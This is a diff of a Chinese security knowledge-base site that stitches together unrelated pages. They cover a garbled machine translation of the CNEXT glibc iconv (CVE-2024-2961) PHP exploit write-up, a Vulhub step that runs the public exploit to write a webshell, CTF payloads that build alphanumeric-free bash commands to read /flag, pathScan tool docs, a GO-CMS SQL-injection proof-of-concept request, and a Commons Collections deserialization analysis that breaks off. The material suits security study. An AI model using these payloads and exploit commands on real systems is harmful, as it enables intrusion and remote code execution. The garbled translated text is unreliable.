为了利用,我们遵循一个非常标准的 6 个步骤。我们将大小为 0x100 块的免费列表命名为 FL[0x100] 。

+

img* FL[0x100] 控制 FL[0x100]*

+

考虑到我们已经设法通过分配大量0x100块来填充堆。因此,在内存的某个地方,我们有三个连续的自由块 A 、 B 和 C , A 并且是 的 FL[100] 。 A 指向 B ,而 指向 C 。我们可以分配其中的 3 个(第 2 步),然后再次释放它们(第 3 步)。在这一点上,免费列表是相反的:我们有 C → B → A 。然后我们再次分配,但这次我们在偏移 48h 量处 C 放置一个任意指针 0x1122334455 (步骤 4)。我们再次释放它们(步骤 5),并获得与步骤 1 完全相同的状态,但这次略有不同:在 C+48h ,我们有一个任意指针。我们现在可以从 块 A 执行溢出,这会移动包含在 中的 B 指针。它现在指向 C+48h ,因此,免费列表现在 B C+48h →→ 0x1122334455 。再分配 3 个,我们可以在任意地址进行 PHP 分配。

+

我们现在有一个写什么的地方;这快结束了。

+

但是,让我回到漏洞利用的实现上来。在这里描述的各个步骤中,我们有分配然后释放的块。但是我们无法真正摆脱水桶:我们只能改变它们的大小。但是,我们只对大小0x100块感兴趣。就好像其他块不存在一样。因此,我将每个存储桶构建为一个 HTTP 分块的俄罗斯娃娃:

+

img +一个水桶的俄罗斯娃娃:它的大小在每个 dechunk 桶上都变化*

+

对于漏洞利用的每个步骤, dechunk 都会调用过滤器:因此,每个存储桶的大小都会发生变化。有些尺寸变0x100,从而在剥削中“出现”,有些变小,从而消失。它为我们提供了一种完美的方式,让水桶在特定时刻实现,并在我们不再需要它们时将它们扔掉。

+

说完这些,让我们开始执行代码。

+

代码执行​

+

虽然我们通过阅读 /proc/self/maps 来查看内存区域,但我们并不确切地知道我们在堆中的位置。幸运的是,我们可以通过找到PHP的堆来完全忽略这个问题。由于其对齐方式 (~0x1fffff) 和大小 (2MB),它很容易识别。在它的顶部驻留着一个 zend_mm_heap 结构,其中包含非常有用的字段:

+
struct _zend_mm_heap {
...
int use_custom_heap;
...
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
...
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
} custom_heap;
};
+

首先,它包含所有免费列表。通过覆盖空闲列表,我们得到了任意数量的任意大小的写入内容。我们可以用它们来覆盖最后一个字段 custom_heap ,该字段包含 emalloc() 和 efree() 的 erealloc() 替代函数(类似于 glibc 中的 __malloc_hook 及其同级函数)。然后,我们设置为 use_custom_heap 1 ,并调用 free() 一个存储桶,为我们提供一个带有受控参数的任意函数调用。由于我们可以使用文件读取访问二进制文件,因此我们可以构建花哨的 ROP 链,但我们想要尽可能通用的东西;因此,我设置为 custom_heap._free system ,允许我们以 CTF 方式运行任意 bash 命令。

+

注意:我遗漏了一些(许多)关于漏洞利用的细节,但对漏洞进行了大量评论。

+

利用性能​

+

我们的漏洞利用运行了 3 个请求:它下载 /proc/self/maps ,并提取 PHP 堆的地址和 libc 的文件名。然后,它下载 libc 二进制文件以提取 的 system() 地址。最后,它执行执行溢出的最终请求并执行我们的任意命令。

+

它的表现非常好:

+
    +
  • 适用于任何目标 +
      +
    • From PHP 7.0.0 (2015) to 8.3.7 (2024) +从 PHP 7.0.0 (2015) 到 8.3.7 (2024)
    • +
    • Any PHP application: Wordpress, Laravel, etc. +任何PHP应用程序:Wordpress,Laravel等。
    • +
    +
  • +
  • 它是100%可靠的 +
      +
    • Due to its implementation, it will never (?) produce a crash +由于它的实现,它永远不会(?)产生崩溃
    • +
    • A binary exploit that feels like a web exploit! +感觉像网络漏洞的二进制漏洞!
    • +
    +
  • +
  • 有效负载小于 1000 字节 +
      +
    • 通过使用 zlib.inflate 和仅 12 个过滤器,有效载荷非常小
    • +
    • 它适合 GET 请求
    • +
    +
  • +
  • 自包含漏洞利用 +
      +
    • 无需以 GET 或 POST 的形式发送其他参数:漏洞利用会自行完成所有操作,从填充堆到设置可用列表,最后执行代码
    • +
    +
  • +
+

它是一个小于 1000 字节的单个有效负载,可远程执行 10 年的 PHP 版本代码。

+

演示​

+

为了说明这一点,我将以运行在 PHP 8.3.x 上的 Wordpress 实例为目标。为了引入文件读取漏洞,我添加了 BuddyForms 插件 (v2.7.7),该插件存在CVE-2023-26326的缺陷。该错误最初被报告为 PHAR 反序列化错误,但 Wordpress 没有任何反序列化小工具链。在任何情况下,目标都运行在 PHP 8+ 上,因此它不容易受到 PHAR 攻击。

+

注意:如果您阅读原始查找器的公告,您可能会看到,在文件读取基元之前,会执行调用 getimagesize() 以检查文件是否为图像。因此,为了允许漏洞和 libc 读取 /proc/self/maps ,我使用wrapwrap 使它们看起来像 GIF 图像。

+

冲击​

+

对PHP生态有什么影响?这不是一个新的漏洞,而是漏洞的新利用向量。但是,有多种方法可以使 PHP 读取文件;文件读取原语在 Web 应用程序中非常流行。

+

标准水槽​

+

显然,PHP 的每个标准文件读取接收器都会受到影响: file_get_contents() 、、 file() 、 readfile() fgets() 、 getimagesize() SplFileObject->read() 等。文件写入也会受到影响( file_put_contents() 及其同级)。

+

使用漏洞​

+

SQL injection to RCE SQL 注入到 RCE​

+

如果您在 PDO/MySQL 上获得 SQL 注入,您也许可以使用 LOAD DATA LOCAL INFILE :

+
LOAD DATA LOCAL INFILE 'php://filter/cnext...';
+

XXE​

+

XXE 现在是 RCE。

+
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY exploit SYSTEM "php://filter/cnext...">
]>
<root>&exploit;</root>
+

作为 PHAR 的替代品​

+

与 PHAR 攻击相反,仅对文件(如 file_exists() 或 is_file() )执行检查的函数不受影响。但是,在其他情况下,该漏洞可以用作 PHAR 攻击的替代品,如演示中所示。禁用 phar:// 或更新到 PHP 8 不会拯救您。

+

解析库​

+

每个以某种方式操纵 URL 的库都可能容易受到攻击。以下是我在开发漏洞时发现的一些新目标:

+ +

例如,PHP-SVG 库可能会受到这样的有效载荷的攻击:

+
<svg width="100" height="100">
<image href="php://filter/cnext/..." width="1" height="1" />
</svg>
+

HTML 到 PDF 解析器(如 dompdf、tcpdf 等)也可能是目标。

+

类实例化​

+

有时,在攻击PHP时,会遇到以下原语:

+
new $_GET['cls']($_GET['argument']);
+

This excellent blogpost from PTswarm describes many ways to get a file read from this primitive, which may all be used to trigger the exploit. Examples include SoapClient, Imagick, tidy, or SimpleXMLElement. +这篇来自 PTswarm 的优秀博文描述了从这个原语中读取文件的多种方法,这些方法都可能用于触发漏洞利用。示例包括 SoapClient 、 Imagick 、 tidy 或 SimpleXMLElement 。

+

作为对小工具链的改进​

+

如果您发现文件读取 unserialize() 小工具链,则可以使用该漏洞将其升级到 RCE。随着最近的应用程序以及 PHP 库越来越多地使用类型这一事实,它可能会派上用场。

+

其他人,可能​

+

只要您控制文件读取或文件写入接收器的前缀,您就拥有了 RCE!

+

时间线​

+
    +
  • 去年 Crash 发现
  • +
  • 2月 开始处理错误
  • +
  • 3 月 26 日 Bug 报告给 glibc 安全团队
  • +
  • 4 月 4 日 Bug 报告给 linux 发行版
  • +
  • 4 月 17 日漏洞作为 CVE-2024-2961 发布
  • +
+

注意:glibc 安全团队速度快、彬彬有礼且技术能力强。他们在一周内发布了一个补丁(以及随之而来的所有补丁)。非常感谢!*

+

结论​

+

CNEXT (CVE-2024-2961) 系列文章的第一部分到此结束 。该漏洞现已在我们的 GitHub 上提供。还有很多东西需要探索:直接调用呢 iconv() ?如果读取的文件是盲文件,会发生什么情况?

+

在第 2 部分中,我们将更深入地研究 PHP 引擎,以定位在非常流行的 PHP 网络邮件中发现的 iconv() 调用。我将描述这种直接调用对 PHP 生态系统的影响,并向您展示一些意想不到的接收器。最后,在第 3 部分中,我们将介绍盲文件读取漏洞利用。

+

敬请关注!

+

VULHUB复现

+

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

+

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

+

参考链接:

+ +

漏洞环境​

+

执行如下命令启动一个PHP 8.3.4服务器,其使用iconv 2.36作为依赖:

+
docker compose up -d
+

服务启动后,你可以通过http://your-ip:8080/index.php?file=/etc/passwd这个链接读取/etc/passwd文件。

+

漏洞复现​

+

在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。

+

安装依赖:

+
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
+

然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py下载POC并执行:

+
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
+

img

+

可见,我们已经成功写入shell.php:

+

img

+

转载

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令/index.html b/docs/个人知识库/CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令/index.html new file mode 100644 index 0000000..e1f3e4b --- /dev/null +++ b/docs/个人知识库/CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令/index.html @@ -0,0 +1,111 @@ + + + + + +利用shell脚本变量构造无字母数字命令 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-10-14 23:58:22
+

利用shell脚本变量构造无字母数字命令

+

shell脚本中$的多种用法​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
变量名含义
$0脚本本身的名字
$1脚本后所输入的第一串字符
$2传递给该shell脚本的第二个参数
$*脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_表示上一个命令的最后一个参数
$##脚本后所输入的字符串个数
$$脚本运行的当前进程ID号
$!表示最后执行的后台命令的PID
$?显示最后命令的退出状态,0表示没有错误,其他表示由错误
+

有数字的命令执行​

+

首先,在linux里完美可以利用八进制的方法绕过一些ban了字母的题 ,即我们可以使用$'\xxx'的方式执行命令,比如我们可以用$'\154\163'执行ls:

+
➜  / $'\154\163'
➜ /
+

image-20240607201034726

+

可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。

+

除此之外在bash里我们可以使用[base#]n的方式表示数字,也就是说我可以用2#100表示十进制数字4

+
➜  / echo $((2#100))
4
➜ / echo $((2#101))
5
➜ /
+

image-20240607201343119

+

因此从这里我们又向前推进了一步,只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用,这时我们可以使用位移运算1<<1代替2,得到payload:

+
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
+

理论上它可以代替$'\154\163'执行命令,但事实上是不行的:

+
➜  / $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
zsh: command not found: $'\154\163'
➜ /
+

image-20240607201706852

+

可以看到这里只解析了一层解析到$'\154\163'就解析不下去了,想要它继续解析,我们不难想到Linux里的eval函数:

+
➜  / eval $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
➜ /
+

image-20240607202025621

+

但可惜我们是不能使用它的,所以还是得老老实实的用1或者0构造,这里我们可以想到bash里的一种语法:command [args] <<<["]$word["],在这种语法下$word会展开并作为command的stdin,以此来继续执行命令:

+
➜  / bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
➜ /
+

image-20240607202145762

+

但现在有个问题,就是用什么来代替bash,这时可以想到我之前文章里提到过的一个环境变量$0,它可以表示脚本本身的名字,而这里正是bash:

+
root@racknerd-0f70a9:/# echo $"0"
0
root@racknerd-0f70a9:/#
+

image-20240607202310491

+

因此我们不难想出一种构造方式来:

+
root@racknerd-0f70a9:/# $0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
root@racknerd-0f70a9:/#
+

image-20240607202342270

+

成功执行!假如这是一道CTF题,我们就该想想怎么执行cat /flag了,你想到的payload可能是:

+
$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
+

bash会告诉你不存在cat /flag这种文件或者目录,很明显,bash是把它当作一个整体了,并没有有效的以空格作为分割,让cat作为命令,/flag作为参数,在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令,也就是说我们可以把payload改成:

+

image-20240609110358501

+

执行成功,我们拿到了flag,但可以看到这种构造方式不够极限,里面不但出现0更出现了1,下面,我们开始构造真正的无字母数字命令。

+

利用$#构造​

+

在之前那篇文章里我也提到过$#这个变量,它可以表示#脚本后所输入的字符串个数:

+

如果#后面啥也没有它就是0,有一个字符串比如#就变成了1,似乎现在我们只要把1用${##}替换,0用${#}替换即可:

+
root@lavm-cobc2qtifw:/# $${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
65523{#}: command not found
+

image-20240609110839466

+

可惜这种执行方法是不行的,因为虽然$0表示bash,${#}表示0,但把它们拼起来并不表示bash,这里$$直接执行了,意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接,但这种拼接也只会解析第一层,不会解析到最后:

+
__="$""${#}";echo ${__};
+

image-20240609111007447

+

因此理论上我们只要找到一个值为零的变量,然后就可以用这种方法进行变量替换得到$0,并且还能成功解析,这时我们很容易想到刚刚使用的${#},毕竟它的值就是零嘛:

+
root@lavm-cobc2qtifw:/# echo ${!#}
bash
root@lavm-cobc2qtifw:/#
+

可以看到确实能得到bash,我们再次替换回去,可以得到新payload:

+
root@lavm-cobc2qtifw:/# ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
flag{1234}
root@lavm-cobc2qtifw:/#
+

image-20240609111303604

+ + \ No newline at end of file diff --git a/docs/个人知识库/pathScan-doc/下载安装/index.html b/docs/个人知识库/pathScan-doc/下载安装/index.html new file mode 100644 index 0000000..3ed217a --- /dev/null +++ b/docs/个人知识库/pathScan-doc/下载安装/index.html @@ -0,0 +1,34 @@ + + + + + +下载安装 | wjlin0 + + + + + + + +
作者修订时间
wjlin02023-08-22 17:33:34
+

下载安装

+
+

[!Tip] pathScan几乎支持所有平台,您可以在下面的安装方式中找到相应平台的安装方式,若您的平台不支持,请使用 Go1.19 以上的版本自行编译

+
+

Go​

+
go install gitub.com/wjlin0/pathScan@latest
+

Binary​

+
+

[!Tip] 二进制文件

+
+
wget https://github.com/wjlin0/pathScan/releases/download/v1.3.2/pathScan_v1.3.2_linux_amd64.zip
+

Github​

+
git clone https://github.com/wjlin0/pathScan.git; \
go build; \
mv pathScan /usr/local/bin; \
pathScan
+

Docker​

+
+

[!Tip]目前不直接提供docker的镜像,可自行编译

+
+
git clone https://github.com/wjlin0/pathScan.git; \
docker build -t pathScan . ;\
docker run --rm --name pathScan -it pathScan -u http://baidu.com
+ + \ No newline at end of file diff --git a/docs/个人知识库/pathScan-doc/初始化/index.html b/docs/个人知识库/pathScan-doc/初始化/index.html new file mode 100644 index 0000000..16da966 --- /dev/null +++ b/docs/个人知识库/pathScan-doc/初始化/index.html @@ -0,0 +1,45 @@ + + + + + +初始化 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:50:57
+

初始化path

+
+

安装 pathScan 完成后,pathScan需要对其进行初始化才能正常运行

+
+

开始​

+

首次运行后,即可完成初始化,.check 创建完成后,则不会再次进行初始化

+

image-20230815120938498

+

配置文件​

+

运行所需的配置文件均在 $HOME/.config/pathScan 中,当然这些文件均不用提前创建,初始化时,会自动创建完毕

+
    +
  • provider-config.yaml 为网络空间测绘搜索引擎的API配置文件,可以设置多个key,运行时随机选择key
  • +
+

image-20230815122418577

+
    +
  • config.yaml 为命令行配置,如果你不想输入过长的命令,则可以将参数配置在该文中,运行时会自动读取该文件内容
  • +
+

image-20230815122809534

+
    +
  • dict 存放的默认路径字典
  • +
+

image-20230815123631291

+ +

image-20230815124747394

+
    +
  • js html格式输出时所需要的模板文件
  • +
+

image-20230815125015508

+ + \ No newline at end of file diff --git a/docs/个人知识库/pathScan-doc/命令参数/index.html b/docs/个人知识库/pathScan-doc/命令参数/index.html new file mode 100644 index 0000000..ded3aee --- /dev/null +++ b/docs/个人知识库/pathScan-doc/命令参数/index.html @@ -0,0 +1,45 @@ + + + + + +命令参数 | wjlin0 + + + + + + + +
作者修订时间
wjlin02023-08-22 17:33:34
+

命令参数

+
+

[!Tip]

+

pathScan使用的是nuclei工具的风格命令行, -help、--help 不敏感

+
+

获取基本命令​

+

您可以运行pathScan -help来获得帮助

+
➜  ~ pathScan -help
PathScan Go 扫描、信息收集工具

Usage:
pathScan [flags]

Flags:
输入:
-u, -url string[] 目标(以逗号分割)
-list string[] 从文件中,读取目标
-tr, -target-remote string 从远程加载目标
-tc, -target-channel 从通道中加载目标
-resume string 使用resume.cfg恢复扫描
-mf, -match-file string 指纹文件路径
+

基本使用​

+
    +
  • 探寻一个完整的基本路径,并排除404响应
  • +
+
pathScan -u https://wjlin0.com -sc 404
+

image-20230815130555877

+
    +
  • 从网络空间搜索引擎中,收集信息
  • +
+
# 首先得把key配置到 provider-config.yaml 文件中
pathScan -ue quake -uq 'baidu.com' -uc
+

image-20230815131000873

+
    +
  • pathScan默认不会从网页中发现新的URL,如果你发现其他路径,则可指定-so/-sd 允许发现其他URL
  • +
+
pathScan -u http://blog.wjlin0.com/ -sd
+

image-20230815134122981

+
    +
  • 收集某个域名的所有子域名
  • +
+
# 尽可能收集更多的资产信息 
pathScan -sub -sq baidu.com -sd
+

image-20230822153932227

+ + \ No newline at end of file diff --git a/docs/个人知识库/pathScan-doc/扫描模式/index.html b/docs/个人知识库/pathScan-doc/扫描模式/index.html new file mode 100644 index 0000000..55bcda1 --- /dev/null +++ b/docs/个人知识库/pathScan-doc/扫描模式/index.html @@ -0,0 +1,55 @@ + + + + + +扫描模式 | wjlin0 + + + + + + + +
作者修订时间
wjlin02023-08-22 17:34:33
+

四种模式

+

扫描路径​

+
+

通过指定路径文件或者默认不指定时,自动加载main.txt 中的路径,扫描

+
+
pathScan -u http://localhost:8080 -sc 404 -sbl 0
+

image-20230822155116797

+

扫描路径(递归)​

+
+

-r 递归扫描 时间消耗长,判断路径的依据为 path的结尾 为 /,即为路径

+
+
pathScan -list url.txt -r sc 404 -sbl 0 -pf /root/.config/pathScan/dict/main.txt
+

image-20230822163449876

+

网络空间搜索引擎​

+
+

[!Waring]

+

运行前,需配置对应的API至 $HOME/.config/pathScan/provider-config.yaml 中

+
+
+

通过调用搜索引擎的API,来收集目标,并且可指定扫描路径

+

支持的API -> shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,zone,binary

+
+
pathScan -uc -uq 'domain="baidu.com"' -ue fofa -ps "/api/v1/users"
+

image-20230822165720553

+

子域名收集​

+
+

类似于 oneforall的主动收集过程与网络空间搜索相结合,收集子域名信息

+
+
pathScan -sub -sq 'baidu.com'
+

image-20230822170546203

+

辅助​

+
+

上诉所提到的所有模式中,若想发现在请求中发现更多的域名,则可以使用参数 -sd、-sdl 该参数可以发现更多的域名

+
+
pathScan -u baidu.com -sd -ps / -sdl "beian.gov.cn,google.com"
+

image-20230822172149199

+

image-20230822172424339

+

很明显不止是 baidu.com,还是google.com 均能够被发现,并且收集

+
pathScan -u https://baidu.com -sd -sdl "google.com" -ps / # 普通扫描
pathScan -r -u "baidu.com" -sd # 递归
pathScan -uc -ue fofa -uq 'domain="baidu.com"' -sd -sdl "google.com" # 搜索空间
pathScan -s -sq "baidu.com" -sd -ps / # 子域名收集
+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Go/GO-CMS代码审计/index.html b/docs/个人知识库/代码审计/Go/GO-CMS代码审计/index.html new file mode 100644 index 0000000..c646c16 --- /dev/null +++ b/docs/个人知识库/代码审计/Go/GO-CMS代码审计/index.html @@ -0,0 +1,44 @@ + + + + + +GO-CMS代码审计 | wjlin0 + + + + + + + +

GO-CMS代码审计

作者修订时间
wjlin02025-10-14 23:58:22
+

0x01 漏洞说明​

+

漏洞描述:发现在GO-CMS <=1.11.0,攻击者在导出用户/权限表格时,由于id直接拼接导致SQL注入

+

漏洞源码:GO-CMS-1.1.10.zip

+

项目地址:https://github.com/Xi-Yuer/GO-CMS/

+

漏洞等级:高

+

影响版本:<=1.1.10

+

漏洞URL:

+
    +
  • http://ip:port/cms/users/export
  • +
  • http://ip:port/cms/roles/export
  • +
+

0x02 漏洞详情​

+

1. 漏洞复现​

+

该漏洞需要拥有对上述接口的权限,才能触发;如下,构造以下POC

+
POST /cms/roles/export HTTP/1.1
Host: localhost:5173
Content-Length: 73
sec-ch-ua-platform: "macOS"
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM0OTgwNjMxOTYwMDk2NzY4IiwiYWNjb3VudCI6ImFkbWluIiwiaXNBZG1pbiI6MSwicm9sZUlkIjpbIjM3OTA0MjA4NTYwNjU2Mzg0IiwiNDU4NjQ5NTAxMTA4ODM4NDAiXSwiaW50ZXJmYWNlRGljIjpbIlBPU1Q6L2RlcGFydG1lbnQiLCJERUxFVEU6L2RlcGFydG1lbnQvOmlkIiwiUEFUQ0g6L2RlcGFydG1lbnQvOmlkIiwiR0VUOi9pbnRlcmZhY2UvcGFnZS86aWQiLCJERUxFVEU6L2ludGVyZmFjZS86aWQiLCJQT1NUOi9pbnRlcmZhY2UiLCJQQVRDSDovaW50ZXJmYWNlLzppZCIsIkdFVDovdXBsb2FkIiwiREVMRVRFOi91cGxvYWQvZGVsLzppZCIsIlBPU1Q6L3VwbG9hZC9jaGVjayIsIlBPU1Q6L3VwbG9hZCIsIlBPU1Q6L3VwbG9hZC9maW5pc2giLCJQT1NUOi91cGxvYWQvZG93bmxvYWQvOmlkIiwiR0VUOi91cGxvYWQvYUhyZWYvZG93bmxvYWQvOmlkIiwiR0VUOi9hdXRoL2Nvb2tpZSIsIkdFVDovbG9nL3N5c3RlbSIsIkdFVDovdGltZVRhc2siLCJQT1NUOi90aW1lVGFzay9zdGFydC86aWQiLCJQT1NUOi90aW1lVGFzay9zdG9wLzppZCIsIlBBVENIOi90aW1lVGFzay91cGRhdGUvOmlkIiwiR0VUOi9wYWdlcy9tZW51cyIsIlBPU1Q6L3VzZXJzIiwiR0VUOi9zeXN0ZW0iLCJHRVQ6L2xvZy9jb21taXRzIiwiR0VUOi9sb2cvY29tbWl0cy9jb3VudCIsIlBPU1Q6L3VzZXJzL3F1ZXJ5IiwiUE9TVDovcm9sZXMvcXVlcnkiLCJHRVQ6L2RlcGFydG1lbnQiLCJQQVRDSDovdXNlcnMvOmlkIiwiREVMRVRFOi91c2Vycy86aWQiLCJHRVQ6L3VzZXJzLzppZCIsIkRFTEVURTovcm9sZXMvOmlkIiwiUE9TVDovcm9sZXMvZXhwb3J0IiwiUE9TVDovdXNlcnMvZXhwb3J0IiwiUEFUQ0g6L3JvbGVzLzppZCIsIlBPU1Q6L3JvbGVzIiwiUE9TVDovcGFnZXMiLCJERUxFVEU6L3BhZ2VzLzppZCIsIkdFVDovcGFnZXMiLCJHRVQ6L3BhZ2VzL3VzZXIiLCJQQVRDSDovcGFnZXMvOmlkIiwiR0VUOi9wYWdlcy9yb2xlLzppZCIsIkdFVDovdXNlcnMvcm9sZS86aWQiLCJQT1NUOi9yb2xlcy9iaW5kVXNlciIsIlBPU1Q6L3JvbGVzL2RlQmluZFVzZXIiLCJQT1NUOi91c2Vycy9xdWVyeS9yb2xlLzppZCJdLCJkZXBhcnRtZW50SWQiOm51bGwsImlzcyI6IlhpLVl1ZXIiLCJzdWIiOiJhZG1pbiIsImV4cCI6MTczMzk2NTYyNSwibmJmIjoxNzMzODc5MjI2LCJpYXQiOjE3MzM4NzkyMjUsImp0aSI6IjM0OTgwNjMxOTYwMDk2NzY4In0.Cd2CJg1TpqdkSn3F2F1LZlfUeH7hGxclLD34PH7zzK8
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:5173
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:5173/
Accept-Encoding: gzip, deflate, br
Cookie: Phpstorm-f30b1e9e=0694f073-c92a-4934-afee-c48c22785c21; Goland-852c6800=72bd19d4-b952-464f-9518-4cf4be331da3; device_id=61941ffb39fe4eafa03839d648f83ed5; FUCNdjYGFg4G=MTczMzg3OTIyNXxEWDhFQVFMX2dBQUJFQUVRQUFBRV80QUFBQT09fH-QTxZOkvnjo5WwV5AqR_ilvvDPSEgjD7WXHb4XSkfi
Connection: keep-alive

{"ids":["1) and extractvalue('~',concat('~',(select database()))) -- "]}
+

image-20241211111851195

+

同理,在用户功能导出表格时,也会触发SQL注入

+

image-20241211112123856

+

2. 源码分析​

+

以导出用户表格为例,攻击者发送恶意代码,首先会触发controllers.UserController.ExportExcel 控制器

+

image-20241211112358410

+

系统首先拿到JSON中的ids字段,并调用 services.UserService.ExportExcel函数

+

image-20241211112536615

+

继续调用 repositories.UserRepositorysModules.ExportExcel函数

+

image-20241211112628566

+

在这个函数中,可以发现,传递的ids字段,通过逗号分隔后,直接拼接到了 query 后

+

image-20241211112813219

+

最终恶意语句被执行

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC1/index.html b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC1/index.html new file mode 100644 index 0000000..df421c2 --- /dev/null +++ b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC1/index.html @@ -0,0 +1,50 @@ + + + + + +Apache Commons Collections 1 | wjlin0 + + + + + + + +

Apache Commons Collections 1

+

利用链分析​

+

InvokerTransformer 对其恶意调用时用法为,如图,那么我们可以寻找其调用transform方法再何处,

+

image-20221121161648490

+

其实不难发现,该包类有很多处都调用了该方法,(这里有两条链,先分析国内这条链)

+

国内​

+

其中在这checkSetValue中

+

image-20221121162007507

+

在这个类TransformedMap中可以发现调用了transform 可以看一下其构造方法中 参数是否可控。

+

/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
+

可以发现这个类 其实是对 map 类的 一个封装类似于,checkSetValue调用的就是valueTransformer的transform

+

image-20221121162546300

+

他的构造方法实际是可控的,继续往上找,发现只有一处调用了checkSetValue,就是``TransformedMap的父类 AbstractInputCheckedMapDecorator`(抽象类)

+

image-20230220102949587

+

而 MapEntry 我们知道在循环遍历的时候会触发,所以只要对map进行遍历并设置值也就会触发checkSetValue这个方法。就可以关注到Sun包下面的AnnotationInvocationHandler这个类,在readObject 中 循环遍历的map

+

image-20230220103524663

+

而这里有个难点就是,memberValue.setValue(value)这个方法中的value,是new 了一个出来的代理类,所以就很难控制,于是又可以想到之前涉及到的一个类

+

ConstantTransformer,该类的transformer方法,可以直接返回固定对象,ChainedTransformer 又可以循环调用transformer。

+

而进入到需要两个条件

+
    +
  • AnnotationInvocationHandler的type需要一个value 才能进入。
  • +
  • map中的key值也需要这个value的值。
  • +
+
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;、
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
